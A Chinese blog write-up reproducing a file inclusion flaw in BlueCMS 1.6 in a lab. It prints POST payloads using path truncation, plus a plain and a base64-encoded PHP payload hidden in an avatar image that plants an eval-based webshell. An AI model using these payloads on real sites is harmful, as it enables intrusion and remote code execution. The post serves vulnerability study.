欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

代码审计:bluecms 文件包含漏洞复现

程序员文章站 2022-04-30 12:00:58
...

代码审计:bluecms 文件包含漏洞复现

bluecms

BlueCMS是一款专注于地方门户网站建设解决方案,基于PHP+MySQL的技术开发,全部源码开放。
复现版本为bluecmsv1.6版本,各位可自行下载。

代码审计

先使用Seay工具审计一波,根据关键代码回溯。
代码审计:bluecms 文件包含漏洞复现
工具显示user.php文件包含函数存在可控变量,可能存在文件包含漏洞,我们打开代码所在php文件进一步查看。
关键代码:

elseif ($act == 'pay'){
 	include 'data/pay.cache.php';
 	$price = $_POST['price'];
 	$id = $_POST['id'];
 	$name = $_POST['name'];
 	if (empty($_POST['pay'])) {
 		showmsg('对不起,您没有选择支付方式');
 	}
 	include 'include/payment/'.$_POST['pay']."/index.php";
 }

可以看到,如果act参数为pay值,这包含相应文件,其中pay参数没有过滤。
按道理只要截断一下,应该可以利用此漏洞。
我们先试图验证一下,在根目录放上一个1.php,以供验证。

http://192.168.43.150/bluecms1.6/1.php

代码审计:bluecms 文件包含漏洞复现
去到漏洞链接所在处,会员中心->充值中心->金币充值->在线支付
代码审计:bluecms 文件包含漏洞复现
打开burp抓包,发到repeater模块,构造exp。

%00截断,失败
price=1&id=2&name=2&pay=../../1.php%00
?号截断,失败
price=1&id=2&name=2&pay=../../1.php?
.溢出截断,成功
price=1&id=2&name=2&pay=../../1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

代码审计:bluecms 文件包含漏洞复现
代码审计:bluecms 文件包含漏洞复现

漏洞利用

我们的目标是拿shell。
编写一段恶意代码,保存为图片,包含后可生成我们的shell文件。

测试失败
<?php @fputs(fopen('wk.php',w),"<?php @eval($_POST['wk']);?>");?>
需要编码进行绕过
<?php @fputs(fopen(base64_decode('d2sucGhw'),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd3ayddKTs/Pg=='));?>

去到修改头像处,上传我们构造好的图片,得到图片路径

http://192.168.43.150/bluecms1.6/data/upload/face_pic/15843400010.jpg

回到repeater模块,修改exp,go。

price=1&id=2&name=2&pay=../../data/upload/face_pic/15843400010.jpg........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

代码审计:bluecms 文件包含漏洞复现
去到根目录处,可以看到我们的shell文件被创建了。
代码审计:bluecms 文件包含漏洞复现
接下来菜刀连接就完事了。

相关标签: 代码审计